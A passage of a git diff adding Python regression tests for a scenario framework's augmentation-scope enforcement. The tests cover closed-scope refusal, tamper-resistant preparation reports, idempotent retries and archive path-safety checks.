[shipper]}} +nodes: {host: {type: compute}} +forwarding_agents: [{forwarding_agent_id: shipper}] +""") + root = tmp_path / "root.yaml" + root.write_text(""" +name: composed +imports: [{source: 'local:protected.yaml', namespace: protected}] +nodes: {local: {type: compute}} +forwarding_agents: [{forwarding_agent_id: local}] +""") + instance = instantiate_scenario(parse_sdl_file(root)) + payload = instance.model_dump(mode="json") + pointer = "/nodes/local" + if section == "forwarding_agents": + index = next(i for i, agent in enumerate(payload[section]) if agent["forwarding_agent_id"] == "local") + pointer = f"/forwarding_agents/{index}" + payload["augmentation_scope"] = {"scopes": [{"scope": pointer, "permission": "closed", "namespace": ["protected"]}]} + with pytest.raises(SDLError, match="namespace.*own"): + admit_instantiated_scenario(payload) + + +@pytest.mark.parametrize("outer_exception", [False, True]) +def test_imported_open_default_needs_outer_author_permission(tmp_path, outer_exception): + from raes import parse_sdl_file + from raes_contracts.augmentation_scope import effective_augmentation_scope + + (tmp_path / "open.yaml").write_text(""" +name: open-module +module: {id: example/open, version: 1.0.0, exports: {nodes: [host]}} +augmentation_scope: {default: open} +nodes: {host: {type: compute}} +""") + root = tmp_path / "root.yaml" + root.write_text( + json.dumps( + { + "name": "outer", + "imports": [{"source": "local:open.yaml", "namespace": "inner"}], + "augmentation_scope": { + "default": "closed", + "scopes": ([{"scope": "/nodes/inner.host", "permission": "open"}] if outer_exception else []), + }, + } + ) + ) + instance = instantiate_scenario(parse_sdl_file(root)) + decision = effective_augmentation_scope(instance.augmentation_scope, "/nodes/inner.host") + assert decision.permission == ("open" if outer_exception else "closed") + + +@pytest.mark.parametrize( + "policy", ["{default: closed}", "{scopes: [{scope: /forwarding_agents/0, permission: closed}]}"] +) +def test_imported_list_declaration_retains_its_scope_owner_after_merge(tmp_path, policy): + from dataclasses import replace + + from raes import parse_sdl_file + from raes_backend_protocols.augmentation import augmentation_preparation + from raes_contracts.augmentation_preparation import AugmentationEffect + from raes_contracts.planning import PlanScope + from raes_contracts.runtime_state import RuntimeSnapshot + from raes_processor.compiler import compile_runtime_model + from raes_processor.planner import plan + from raes_processor.planner.augmentation_admission import admit_augmentation_preparation + from test_issue_1242_scope_admission import scoped_plan + + (tmp_path / "shared.yaml").write_text( + """ +name: shared +module: {id: example/shared, version: 1.0.0, exports: {forwarding_agents: [shipper]}} +augmentation_scope: POLICY +forwarding_agents: [{forwarding_agent_id: shipper}] +""".replace("POLICY", policy) + ) + root = tmp_path / "root.yaml" + root.write_text(""" +name: composed +imports: [{source: 'local:shared.yaml', namespace: shared}] +forwarding_agents: [{forwarding_agent_id: local}] +""") + manifest = scoped_plan().manifest + execution = plan(compile_runtime_model(parse_sdl_file(root)), manifest, scope=PlanScope(run_id="run-1")) + request = replace(execution.provisioning, operation_id="operation-1") + content = json.loads(request.materialization_source.snapshot)["scenario"] + content.pop("instantiation_provenance") + imported_index = next( + index + for index, item in enumerate(content["forwarding_agents"]) + if item["forwarding_agent_id"] == "shared.shipper" + ) + content["forwarding_agents"][imported_index]["description"] = "extra configuration" + scope = f"/forwarding_agents/{imported_index}" + report = augmentation_preparation( + request, + manifest, + RuntimeSnapshot(), + content=json.dumps(content), + effects=( + AugmentationEffect( + field_pointer=scope + "/description", + requirement_refs=("backend-operational",), + affected_scopes=(scope,), + ), + ), + ) + assert not admit_augmentation_preparation(report, request, manifest, RuntimeSnapshot()).is_valid diff --git a/implementations/python/tests/test_issue_1242_review_regressions.py b/implementations/python/tests/test_issue_1242_review_regressions.py new file mode 100644 index 000000000..813d86020 --- /dev/null +++ b/implementations/python/tests/test_issue_1242_review_regressions.py @@ -0,0 +1,340 @@ +"""Regression evidence for the scope review's authorization and lifecycle findings.""" + +import json +from dataclasses import replace + +import pytest +from raes_contracts.runtime_state import ApplyResult, RuntimeSnapshot +from raes_operations.run_artifacts import RunMaterializationArchive +from raes_runtime.backend_calls import _BackendCallContext, _call_backend_apply, _RealizationApplyContext +from test_issue_1242_scope_admission import scoped_plan +from test_issue_1242_scope_runtime import ScopeReportingProvisioner + + +@pytest.mark.parametrize("phase", ["provisioning", "evaluation", "orchestration"]) +@pytest.mark.parametrize("permission", ["open", "closed"]) +def test_stripped_diagnostics_cannot_erase_required_scope_negotiation(tmp_path, phase, permission): + execution = scoped_plan({"default": permission}, negotiated=False) + from raes_contracts.planning import PlanScope + from raes_processor.planner import plan + + manifest = replace( + execution.manifest, + supported_contract_versions=execution.manifest.supported_contract_versions + - {"backend-augmentation-scope-v1", "backend-materialization-attestation-v1"}, + ) + execution = plan(execution.model, manifest, scope=PlanScope(run_id="run-1")) + request = replace(getattr(execution, phase), diagnostics=[]) + calls = [] + + def mutate(plan, previous): + calls.append(phase) + return ApplyResult(True, previous) + + previous = RuntimeSnapshot() + result = _call_backend_apply( + mutate, + request, + previous, + address="runtime.detached", + snapshot=previous, + realization=_RealizationApplyContext(manifest=execution.manifest), + call=_BackendCallContext(materialization_archive=RunMaterializationArchive(tmp_path)), + ) + assert not result.success + assert calls == [] + + +@pytest.mark.parametrize("phase", ["provisioning", "evaluation", "orchestration"]) +@pytest.mark.parametrize("planning_support", [True, False]) +def test_cleared_scope_flag_cannot_erase_bound_source_policy(tmp_path, phase, planning_support): + execution = scoped_plan({"default": "closed"}, negotiated=planning_support) + request = replace(getattr(execution, phase), diagnostics=[], augmentation_scope_required=False) + manifest = replace( + execution.manifest, + supported_contract_versions=execution.manifest.supported_contract_versions - {"backend-augmentation-scope-v1"}, + ) + calls = [] + + def mutate(plan, previous): + calls.append(phase) + return ApplyResult(True, previous) + + previous = RuntimeSnapshot() + result = _call_backend_apply( + mutate, + request, + previous, + address="runtime.detached", + snapshot=previous, + realization=_RealizationApplyContext(manifest=manifest), + call=_BackendCallContext(materialization_archive=RunMaterializationArchive(tmp_path)), + ) + assert request.materialization_source is not None + assert not result.success + assert calls == [] + + +@pytest.mark.parametrize("phase", ["provisioning", "evaluation", "orchestration"]) +def test_source_policy_cannot_be_removed_without_invalidating_its_bound_identity(tmp_path, phase): + execution = scoped_plan({"default": "closed"}) + request = getattr(execution, phase) + payload = json.loads(request.materialization_source.snapshot) + payload["scenario"].pop("augmentation_scope") + request = replace( + request, + augmentation_scope_required=False, + materialization_source=request.materialization_source.model_copy(update={"snapshot": json.dumps(payload)}), + ) + manifest = replace( + execution.manifest, + supported_contract_versions=execution.manifest.supported_contract_versions - {"backend-augmentation-scope-v1"}, + ) + calls = [] + + def mutate(plan, previous): + calls.append(phase) + return ApplyResult(True, previous) + + previous = RuntimeSnapshot() + result = _call_backend_apply( + mutate, + request, + previous, + address="runtime.detached", + snapshot=previous, + realization=_RealizationApplyContext(manifest=manifest), + call=_BackendCallContext(materialization_archive=RunMaterializationArchive(tmp_path)), + ) + assert not result.success + assert calls == [] + + +@pytest.mark.parametrize("severity", ["warning", "info"]) +def test_advisory_preparation_does_not_fail_whole_run_or_emit_duplicates(tmp_path, severity): + from raes_backend_protocols.manifest import backend_manifest_v2_model + from raes_contracts.canonical import canonical_json_digest + from raes_contracts.diagnostics import Diagnostic, Severity + from raes_contracts.realization_preparation import RealizationPreparation, RealizationPreparationAuthority + from raes_runtime import RuntimeManager + from raes_runtime.registry import RuntimeTarget + + execution = scoped_plan({"default": "closed"}) + manifest = replace( + execution.manifest, + supported_contract_versions=execution.manifest.supported_contract_versions + | {"backend-realization-preparation-v1"}, + ) + notice = Diagnostic("test.advisory", "runtime", "runtime.prepare", "Advisory.", severity=Severity(severity)) + + class AdvisoryProducer(ScopeReportingProvisioner): + def prepare(self, request, previous): + return replace( + RealizationPreparation.for_request(request, previous, operations=tuple(request.operations)), + diagnostics=(notice,), + ) + + backend = AdvisoryProducer(manifest) + manager = RuntimeManager( + RuntimeTarget(name="scope", manifest=manifest, provisioner=backend), + materialization_archive=RunMaterializationArchive(tmp_path), + ) + request = replace( + execution.provisioning, + preparation=RealizationPreparationAuthority( + manifest_digest=canonical_json_digest(backend_manifest_v2_model(manifest).model_dump(mode="json")) + ), + ) + result = manager.apply(replace(execution, target_name="scope", manifest=manifest, provisioning=request)) + assert result.success, result.diagnostics + assert backend.calls == 1 + assert result.diagnostics.count(notice) == 1 + + +@pytest.mark.parametrize("phase", ["evaluation", "orchestration"]) +def test_later_phase_preserves_prior_additions_without_claiming_their_effects(tmp_path, phase): + from raes import admit_instantiated_scenario, parse_sdl + from raes_contracts.materialization import MaterializationSubmission + from raes_processor.compiler.materialization_origins import materialization_differences + + execution = scoped_plan({"default": "open"}) + archive = RunMaterializationArchive(tmp_path) + provisioner = ScopeReportingProvisioner(execution.manifest, addition=True) + previous = RuntimeSnapshot() + first = _call_backend_apply( + provisioner.apply, + execution.provisioning, + previous, + address="runtime.first", + snapshot=previous, + realization=_RealizationApplyContext(plan=execution.provisioning, manifest=execution.manifest), + call=_BackendCallContext(materialization_archive=archive), + ) + assert first.success, first.diagnostics + + class LaterProducer(ScopeReportingProvisioner): + def start(self, request, previous): + self.calls += 1 + self.mutate = self.add_listener + result = self.report(request, previous, ApplyResult(True, previous)) + document = json.loads(result.materialization_attestation.sdl) + document["materialization_provenance"]["attestation_id"] = "materialization-later" + original = admit_instantiated_scenario(json.loads(request.materialization_source.snapshot)["scenario"]) + document["materialization_provenance"]["origins"] = [ + item.model_dump(mode="json") + for item in materialization_differences(original, parse_sdl(json.dumps(document))) + ] + return replace(result, materialization_attestation=MaterializationSubmission(sdl=json.dumps(document))) + + backend = LaterProducer(execution.manifest) + result = _call_backend_apply( + backend.start, + getattr(execution, phase), + first.snapshot, + address="runtime.later", + snapshot=first.snapshot, + realization=_RealizationApplyContext(manifest=execution.manifest), + call=_BackendCallContext(materialization_archive=archive), + ) + assert result.success, result.diagnostics + assert backend.calls == 1 + assert len(result.snapshot.materialization_attestations) == 2 + assert parse_sdl(result.materialization_attestation.sdl).nodes["host"].services[0].name == "metrics" + + +@pytest.mark.parametrize("phase", ["provisioning", "evaluation", "orchestration"]) +def test_required_scope_fact_survives_wire_roundtrip_and_binds_authorization(phase): + from raes_contracts import plan_projection + from raes_contracts.plan_effects import plan_can_mutate + from raes_runtime import control_plane_api_models + + request = replace(getattr(scoped_plan({"default": "closed"}, negotiated=False), phase), diagnostics=[]) + projected = getattr(plan_projection, f"{phase}_plan_model")(request) + wire = type(projected).model_validate_json(projected.model_dump_json()) + restored = getattr(control_plane_api_models, f"_{phase}_plan")(wire) + assert restored.augmentation_scope_required is True + assert plan_projection.runtime_plan_digest(restored) == plan_projection.runtime_plan_digest(request) + assert plan_projection.runtime_plan_digest( + replace(restored, augmentation_scope_required=False) + ) != plan_projection.runtime_plan_digest(request) + assert plan_can_mutate(type(restored)(augmentation_scope_required=True)) + + +def test_composition_uses_native_member_identity_and_rejects_overlapping_ownership(): + from raes.prospective_content import admit_prospective_content + from raes_processor.compiler.materialization_origins import compose_materialization_content + + def content(services): + return admit_prospective_content( + {"name": "scope", "nodes": {"host": {"type": "compute", "services": services}}} + ) + + base = content([{"name": "original", "port": 80}]) + prior = content([{"name": "collector", "port": 9000}, {"name": "original", "port": 80}]) + local = content([{"name": "listener", "port": 9090}, {"name": "original", "port": 80}]) + combined = compose_materialization_content(base, prior, local) + assert {service.name for service in combined.nodes["host"].services} == {"original", "collector", "listener"} + with pytest.raises(ValueError, match="overlap"): + compose_materialization_content(base, prior, prior) + removed = admit_prospective_content({"name": "scope", "nodes": {}}) + with pytest.raises(ValueError, match="overlap"): + compose_materialization_content(base, prior, removed) + + +@pytest.mark.parametrize("overlap", [False, True]) +def test_manager_composes_all_phases_before_mutation_and_preserves_cumulative_world(tmp_path, overlap): + from raes import admit_instantiated_scenario, parse_sdl + from raes_backend_stubs.stubs import create_stub_manifest + from raes_contracts.materialization import MaterializationSubmission + from raes_contracts.planning import PlanScope + from raes_processor.compiler.materialization_origins import materialization_differences + from raes_processor.planner import plan + from raes_runtime import RuntimeManager + from raes_runtime.registry import RuntimeTarget + from test_runtime_manager import RecordingEvaluator, RecordingOrchestrator, _full_scenario + + source = _full_scenario().model_dump(mode="json", exclude_unset=True) + source["realization"] = {"default": "open"} + source["nodes"]["host"] = source["nodes"].pop("vm") + source["propositions"]["health"]["subjects"] = ["nodes.host"] + execution = scoped_plan({"default": "open"}, content=source) + stub = create_stub_manifest() + manifest = replace( + execution.manifest, + capabilities=replace(execution.manifest.capabilities, evaluator=stub.evaluator, orchestrator=stub.orchestrator), + ) + execution = plan(execution.model, manifest, scope=PlanScope(run_id="run-1", target_name="scope")) + assert execution.is_valid, execution.diagnostics + assert execution.evaluation.actionable_operations + assert execution.orchestration.actionable_operations + calls = [] + + class CumulativeReportingMixin: + def prepare_augmentation(self, request, previous): + return ScopeReportingProvisioner(manifest, addition=overlap).prepare_augmentation(request, previous) + + def start(self, request, previous): + result = super().start(request, previous) + reporter = ScopeReportingProvisioner(manifest) + reporter.mutate = reporter.add_listener + result = reporter.report(request, previous, result) + document = json.loads(result.materialization_attestation.sdl) + document["materialization_provenance"]["attestation_id"] = self.name + original = admit_instantiated_scenario(json.loads(request.materialization_source.snapshot)["scenario"]) + document["materialization_provenance"]["origins"] = [ + item.model_dump(mode="json") + for item in materialization_differences(original, parse_sdl(json.dumps(document))) + ] + return replace(result, materialization_attestation=MaterializationSubmission(sdl=json.dumps(document))) + + class Evaluator(CumulativeReportingMixin, RecordingEvaluator): + pass + + class Orchestrator(CumulativeReportingMixin, RecordingOrchestrator): + pass + + provisioner = ScopeReportingProvisioner(manifest, addition=True) + manager = RuntimeManager( + RuntimeTarget( + name="scope", + manifest=manifest, + provisioner=provisioner, + evaluator=Evaluator(calls, "evaluation"), + orchestrator=Orchestrator(calls, "orchestration"), + ), + materialization_archive=RunMaterializationArchive(tmp_path), + ) + result = manager.apply(execution) + assert result.success is not overlap, result.diagnostics + if overlap: + assert provisioner.calls == 0 + assert calls == [] + assert any(item.code == "augmentation.composition-invalid" for item in result.diagnostics) + else: + assert provisioner.calls == 1 + assert calls == ["evaluation-start", "orchestration-start"] + assert len(result.snapshot.materialization_attestations) == 3 + assert parse_sdl(result.materialization_attestation.sdl).nodes["host"].services[0].name == "metrics" + + +@pytest.mark.parametrize("damage", ["bytes", "symlink", "foreign-path"]) +def test_prior_attestation_read_refuses_corruption_and_unsafe_paths(tmp_path, damage): + from test_issue_1242_scope_runtime import apply + + result, _ = apply(tmp_path, {"default": "open"}, addition=True) + assert result.success + record = result.snapshot.materialization_attestations[-1] + path = tmp_path / record.reference.ref_path + if damage == "bytes": + path.write_text("corrupt") + elif damage == "symlink": + moved = path.with_suffix(".retained") + path.rename(moved) + path.symlink_to(moved) + else: + record = record.model_copy( + update={"reference": record.reference.model_copy(update={"ref_path": "/tmp/foreign.sdl"})} + ) + archive = RunMaterializationArchive(tmp_path) + with pytest.raises((ValueError, OSError)): + archive.read(record) diff --git a/implementations/python/tests/test_issue_1242_scope_admission.py b/implementations/python/tests/test_issue_1242_scope_admission.py new file mode 100644 index 000000000..f13b16e4b --- /dev/null +++ b/implementations/python/tests/test_issue_1242_scope_admission.py @@ -0,0 +1,239 @@ +"""Scope restrictions are checked against a pure, bound prospective SDL report.""" + +import json +from dataclasses import replace + +import pytest +from raes import parse_sdl +from raes_backend_protocols.augmentation import augmentation_preparation +from raes_contracts.planning import PlanScope +from raes_processor.compiler import compile_runtime_model +from raes_processor.planner import plan +from test_issue_1241_materialization_context import attesting_plan + + +def scoped_plan(policy=None, *, negotiated=True, content=None): + execution, _ = attesting_plan() + manifest = replace( + execution.manifest, + supported_contract_versions=( + execution.manifest.supported_contract_versions | {"backend-augmentation-scope-v1"} + if negotiated + else execution.manifest.supported_contract_versions + ), + ) + source = {"name": "scoped", "realization": {"default": "open"}, "nodes": {"host": {"type": "compute"}}} + source.update(content or {}) + if policy is not None: + source["augmentation_scope"] = policy + model = compile_runtime_model(parse_sdl(json.dumps(source))) + return plan(model, manifest, scope=PlanScope(run_id="run-1")) + + +@pytest.mark.parametrize("permission", ["open", "closed"]) +def test_explicit_policy_requires_negotiated_enforcement(permission): + execution = scoped_plan({"default": permission}, negotiated=False) + assert not execution.is_valid + assert "augmentation.scope-unsupported" in {item.code for item in execution.diagnostics} + + +def test_omitted_policy_preserves_previous_negotiation(): + assert scoped_plan(negotiated=False).is_valid + + +def preview(execution, *, policy_effect=False, affected=("/nodes/host",)): + from raes_contracts.augmentation_preparation import AugmentationEffect + from raes_contracts.runtime_state import RuntimeSnapshot + + request = replace(execution.provisioning, operation_id="operation-1") + content = json.loads(request.materialization_source.snapshot)["scenario"] + content.pop("instantiation_provenance") + if policy_effect: + content["augmentation_scope"]["default"] = "open" + pointer = "/augmentation_scope/default" + else: + content["nodes"]["host"]["runtime"] = {"environment": [{"name": "COLLECTOR", "value": "enabled"}]} + pointer = "/nodes/host/runtime" + report = augmentation_preparation( + request, + execution.manifest, + RuntimeSnapshot(), + content=json.dumps(content), + effects=( + AugmentationEffect( + field_pointer=pointer, + requirement_refs=("backend-operational",), + affected_scopes=affected, + ), + ), + ) + return request, report + + +def test_closed_scope_refusal_names_the_needed_effect_and_requirement(): + from raes_contracts.runtime_state import RuntimeSnapshot + from raes_processor.planner.augmentation_admission import admit_augmentation_preparation + + execution = scoped_plan({"default": "closed"}) + request, report = preview(execution) + admission = admit_augmentation_preparation(report, request, execution.manifest, RuntimeSnapshot()) + assert not admission.is_valid + diagnostic = admission.diagnostics[0] + assert diagnostic.code == "augmentation.scope-closed" + assert "/nodes/host/runtime" in diagnostic.message + assert "backend-operational" in diagnostic.message + + +def test_open_scope_accepts_the_same_in_world_effect(): + from raes_contracts.runtime_state import RuntimeSnapshot + from raes_processor.planner.augmentation_admission import admit_augmentation_preparation + + execution = scoped_plan({"default": "open"}) + request, report = preview(execution) + assert admit_augmentation_preparation(report, request, execution.manifest, RuntimeSnapshot()).is_valid + + +@pytest.mark.parametrize("tamper", ["binding", "effects", "policy", "impact"]) +def test_unbound_incomplete_or_permission_changing_reports_are_refused(tamper): + from raes_contracts.runtime_state import RuntimeSnapshot + from raes_processor.planner.augmentation_admission import admit_augmentation_preparation + + execution = scoped_plan({"default": "closed" if tamper == "policy" else "open"}) + request, report = preview( + execution, policy_effect=tamper == "policy", affected=("/missing",) if tamper == "impact" else ("/nodes/host",) + ) + if tamper == "binding": + request = replace(request, operation_id="other-operation") + elif tamper == "effects": + report = report.model_copy(update={"effects": ()}) + previous = RuntimeSnapshot() + with pytest.raises(ValueError): + admit_augmentation_preparation(report, request, execution.manifest, previous) + + +def test_scope_checks_all_impacts_not_only_installation_location(): + from raes_contracts.runtime_state import RuntimeSnapshot + from raes_processor.planner.augmentation_admission import admit_augmentation_preparation + + execution = scoped_plan({"default": "open", "scopes": [{"scope": "/nodes/host", "permission": "closed"}]}) + request, report = preview(execution) + # Claiming a permissive installation scope must not hide the changed host. + report = report.model_copy(update={"effects": (report.effects[0].model_copy(update={"affected_scopes": ("",)}),)}) + assert not admit_augmentation_preparation(report, request, execution.manifest, RuntimeSnapshot()).is_valid + + +def test_ordinary_delegated_os_selection_does_not_need_addition_permission(): + from raes_contracts.augmentation_preparation import AugmentationEffect + from raes_contracts.runtime_state import RuntimeSnapshot + from raes_processor.planner.augmentation_admission import admit_augmentation_preparation + + execution = scoped_plan({"default": "closed"}) + request = replace(execution.provisioning, operation_id="operation-1") + content = json.loads(request.materialization_source.snapshot)["scenario"] + content.pop("instantiation_provenance") + content["nodes"]["host"]["os"] = "linux" + report = augmentation_preparation( + request, + execution.manifest, + RuntimeSnapshot(), + content=json.dumps(content), + effects=( + AugmentationEffect( + field_pointer="/nodes/host/os", + requirement_refs=("backend-operational",), + affected_scopes=("/nodes/host/os",), + ), + ), + ) + assert admit_augmentation_preparation(report, request, execution.manifest, RuntimeSnapshot()).is_valid + + +def test_closed_keyed_member_follows_its_identity_across_reordering(): + from raes_contracts.augmentation_preparation import AugmentationEffect + from raes_contracts.runtime_state import RuntimeSnapshot + from raes_processor.planner.augmentation_admission import admit_augmentation_preparation + + execution = scoped_plan( + {"default": "open", "scopes": [{"scope": "/nodes/host/services/0", "permission": "closed"}]}, + content={ + "nodes": { + "host": { + "type": "compute", + "services": [{"name": "protected", "port": 80}, {"name": "other", "port": 443}], + } + } + }, + ) + request = replace(execution.provisioning, operation_id="operation-1") + content = json.loads(request.materialization_source.snapshot)["scenario"] + content.pop("instantiation_provenance") + content["nodes"]["host"]["services"].reverse() + content["nodes"]["host"]["services"][1]["port"] = 8080 + report = augmentation_preparation( + request, + execution.manifest, + RuntimeSnapshot(), + content=json.dumps(content), + effects=( + AugmentationEffect( + field_pointer="/nodes/host/services/1/port", + requirement_refs=("backend-operational",), + affected_scopes=("/nodes/host/services/1",), + ), + ), + ) + assert not admit_augmentation_preparation(report, request, execution.manifest, RuntimeSnapshot()).is_valid + + +def test_replacing_an_open_ancestor_cannot_erase_a_closed_child(): + from raes_contracts.augmentation_preparation import AugmentationEffect + from raes_contracts.runtime_state import RuntimeSnapshot + from raes_processor.planner.augmentation_admission import admit_augmentation_preparation + + execution = scoped_plan( + {"default": "open", "scopes": [{"scope": "/nodes/host/runtime/environment", "permission": "closed"}]}, + content={ + "nodes": {"host": {"type": "compute", "runtime": {"environment": [{"name": "KEEP", "value": "fixed"}]}}} + }, + ) + request = replace(execution.provisioning, operation_id="operation-1") + content = json.loads(request.materialization_source.snapshot)["scenario"] + content.pop("instantiation_provenance") + content["nodes"]["host"]["runtime"] = None + report = augmentation_preparation( + request, + execution.manifest, + RuntimeSnapshot(), + content=json.dumps(content), + effects=( + AugmentationEffect( + field_pointer="/nodes/host/runtime", + requirement_refs=("backend-operational",), + affected_scopes=("/nodes/host/runtime",), + ), + ), + ) + assert not admit_augmentation_preparation(report, request, execution.manifest, RuntimeSnapshot()).is_valid + + +def test_preparation_bounds_aggregate_scope_resolution_work(): + from raes_contracts.augmentation_preparation import AugmentationEffect, AugmentationPreparation + + effects = tuple( + AugmentationEffect( + field_pointer=f"/nodes/host/runtime/{index}", + requirement_refs=("backend-operational",), + affected_scopes=("/nodes/host",) * 256, + ) + for index in range(64) + ) + with pytest.raises(ValueError): + AugmentationPreparation(binding_digest="sha256:" + "0" * 64, content="{}", effects=effects) + + +def test_publishing_a_contract_does_not_claim_unimplemented_backend_support(): + from raes_backend_stubs.stubs import create_stub_manifest + from raes_reference_backend.manifest import create_reference_backend_manifest + + for manifest in (create_stub_manifest(), create_reference_backend_manifest()): + assert "backend-augmentation-scope-v1" not in manifest.supported_contract_versions diff --git a/implementations/python/tests/test_issue_1242_scope_contracts.py b/implementations/python/tests/test_issue_1242_scope_contracts.py new file mode 100644 index 000000000..191023ece --- /dev/null +++ b/implementations/python/tests/test_issue_1242_scope_contracts.py @@ -0,0 +1,30 @@ +"""Portable exchange exposes a structural promise, not proof of authorization.""" + +import pytest +from jsonschema import Draft202012Validator +from raes_conformance.conformance import contract_validation_strength, validate_contract_payload +from raes_contracts.contracts import schema_bundle +from test_issue_1242_scope_admission import preview, scoped_plan + + +def test_preparation_conformance_does_not_claim_source_bound_admission(): + _, report = preview(scoped_plan({"default": "closed"})) + payload = report.model_dump(mode="json") + assert not validate_contract_payload("backend-augmentation-scope-v1", payload) + assert contract_validation_strength("backend-augmentation-scope-v1") == "structural" + assert not list(Draft202012Validator(schema_bundle()["backend-augmentation-scope-v1"]).iter_errors(payload)) + + +@pytest.mark.parametrize( + "update", + [ + {"unexpected": "raw backend prose"}, + {"coverage_profile": "partial"}, + {"binding_digest": "unbound"}, + ], +) +def test_published_preparation_and_model_reject_weakened_wire_promises(update): + _, report = preview(scoped_plan({"default": "open"})) + payload = {**report.model_dump(mode="json"), **update} + assert validate_contract_payload("backend-augmentation-scope-v1", payload) + assert list(Draft202012Validator(schema_bundle()["backend-augmentation-scope-v1"]).iter_errors(payload)) diff --git a/implementations/python/tests/test_issue_1242_scope_durability.py b/implementations/python/tests/test_issue_1242_scope_durability.py new file mode 100644 index 000000000..d8a3a8361 --- /dev/null +++ b/implementations/python/tests/test_issue_1242_scope_durability.py @@ -0,0 +1,105 @@ +"""Scope denial and accepted effects retain the existing operation lifecycle.""" + +from dataclasses import replace + +import pytest +from raes_contracts.planning import PlanScope +from raes_contracts.runtime_state import OperationState, RuntimeSnapshot +from raes_operations.run_artifacts import RunMaterializationArchive +from raes_processor.planner import plan +from raes_runtime.backend_calls import _BackendCallContext, _call_backend_apply, _RealizationApplyContext +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_store_local import LocalControlPlaneStore +from raes_runtime.registry import RuntimeTarget +from test_issue_1112_capture_admission import _capture_scenario, _manifest_with_offers, _offer +from test_issue_1242_scope_admission import scoped_plan +from test_issue_1242_scope_runtime import ScopeReportingProvisioner + + +@pytest.mark.parametrize("permission", ["closed", "open"]) +def test_durable_retry_never_replays_a_denied_or_completed_augmentation(tmp_path, permission): + execution = scoped_plan({"default": permission}) + backend = ScopeReportingProvisioner(execution.manifest, addition=True) + target = RuntimeTarget(name="scoped", manifest=execution.manifest, provisioner=backend) + archive = RunMaterializationArchive(tmp_path / "archive") + control = RuntimeControlPlane( + target, + store=LocalControlPlaneStore(tmp_path / "state"), + materialization_archive=archive, + run_scope=f"run:{execution.provisioning.run_id}", + ) + try: + control.register_planner_produced_plan(execution) + receipt = control.submit_provisioning(execution.provisioning, idempotency_key="scope-once") + assert receipt.accepted, receipt.diagnostics + operation = control.get_operation(receipt.operation_id) + assert operation.state is (OperationState.FAILED if permission == "closed" else OperationState.SUCCEEDED) + assert backend.calls == (0 if permission == "closed" else 1) + assert bool(control.snapshot.materialization_attestations) is (permission == "open") + if permission == "closed": + assert any(item.code == "augmentation.scope-closed" for item in operation.diagnostics) + finally: + control.close() + recovered = RuntimeControlPlane( + target, + store=LocalControlPlaneStore(tmp_path / "state"), + materialization_archive=archive, + run_scope=f"run:{execution.provisioning.run_id}", + ) + try: + assert recovered.submit_provisioning(execution.provisioning, idempotency_key="scope-once") == receipt + assert backend.calls == (0 if permission == "closed" else 1) + finally: + recovered.close() + + +@pytest.mark.parametrize("shared", [False, True]) +def test_closed_scope_names_the_specific_required_evidence_not_just_a_category(tmp_path, shared): + requirements = { + name: value.model_dump(mode="json") for name, value in _capture_scenario().evidence_requirements.items() + } + original = scoped_plan({"default": "closed"}, content={"evidence_requirements": requirements}) + manifest = replace( + original.manifest, + supported_contract_versions=original.manifest.supported_contract_versions + | {"participant-behavior-history-event-stream-v1"}, + capabilities=replace(original.manifest.capabilities, observation=_manifest_with_offers(_offer()).observation), + ) + execution = plan(original.model, manifest, scope=PlanScope(run_id="run-1")) + assert execution.is_valid, execution.diagnostics + + class EvidenceCollector(ScopeReportingProvisioner): + def prepare_augmentation(self, request, previous): + report = super().prepare_augmentation(request, previous) + return report.model_copy( + update={ + "effects": ( + report.effects[0].model_copy( + update={ + "requirement_refs": (("backend-operational",) if shared else ()) + + ("/evidence_requirements/attacker-action-log",) + } + ), + ) + } + ) + + backend = EvidenceCollector(manifest, addition=True) + previous = RuntimeSnapshot() + result = _call_backend_apply( + backend.apply, + execution.provisioning, + previous, + snapshot=previous, + address="runtime.capture", + realization=_RealizationApplyContext(plan=execution.provisioning, manifest=manifest), + call=_BackendCallContext(materialization_archive=RunMaterializationArchive(tmp_path)), + ) + assert not result.success + assert backend.calls == 0 + assert any( + item.code == "augmentation.scope-closed" + and "attacker-action-log" in item.message + and "/nodes/host/services/0" in item.message + for item in result.diagnostics + ) diff --git a/implementations/python/tests/test_issue_1242_scope_runtime.py b/implementations/python/tests/test_issue_1242_scope_runtime.py new file mode 100644 index 000000000..3793b958c --- /dev/null +++ b/implementations/python/tests/test_issue_1242_scope_runtime.py @@ -0,0 +1,260 @@ +"""Enforcement precedes mutation and post-apply descriptions cannot widen it.""" + +import json +from dataclasses import replace + +import pytest +from raes_backend_protocols.augmentation import augmentation_preparation +from raes_contracts.runtime_state import RuntimeSnapshot +from raes_operations.run_artifacts import RunMaterializationArchive +from raes_runtime.backend_calls import _BackendCallContext, _call_backend_apply, _RealizationApplyContext +from test_issue_1241_materialization_runtime import ReportingProvisioner +from test_issue_1242_scope_admission import scoped_plan + + +class ScopeReportingProvisioner(ReportingProvisioner): + def __init__(self, manifest, *, addition=False, unreported=False): + self.addition = addition + self.preparations = 0 + super().__init__( + manifest, self.add_listener if addition or unreported else None, realize=addition or unreported + ) + + @staticmethod + def add_listener(document): + document["nodes"]["host"]["services"] = [{"name": "metrics", "port": 9090}] + + def prepare_augmentation(self, request, previous): + from raes_contracts.augmentation_preparation import AugmentationEffect + + self.preparations += 1 + document = json.loads(request.materialization_source.snapshot)["scenario"] + document.pop("instantiation_provenance") + effects = () + if self.addition: + self.add_listener(document) + effects = ( + AugmentationEffect( + field_pointer="/nodes/host/services/0", + requirement_refs=("backend-operational",), + affected_scopes=("/nodes/host",), + ), + ) + return augmentation_preparation(request, self.manifest, previous, content=json.dumps(document), effects=effects) + + +def apply(tmp_path, policy, *, addition=False, unreported=False, unsupported=False): + execution = scoped_plan(policy) + backend = ( + ReportingProvisioner(execution.manifest) + if unsupported + else ScopeReportingProvisioner(execution.manifest, addition=addition, unreported=unreported) + ) + previous = RuntimeSnapshot() + result = _call_backend_apply( + backend.apply, + execution.provisioning, + previous, + snapshot=previous, + address="runtime.scoped", + realization=_RealizationApplyContext(plan=execution.provisioning, manifest=execution.manifest), + call=_BackendCallContext(materialization_archive=RunMaterializationArchive(tmp_path)), + ) + return result, backend + + +def test_closed_scope_refuses_needed_addition_before_apply_or_archive(tmp_path): + result, backend = apply(tmp_path, {"default": "closed"}, addition=True) + assert not result.success + assert backend.calls == 0 + assert not result.snapshot.entries + assert not list(tmp_path.iterdir()) + diagnostic = next(item for item in result.diagnostics if item.code == "augmentation.scope-closed") + assert "backend-operational" in diagnostic.message + assert 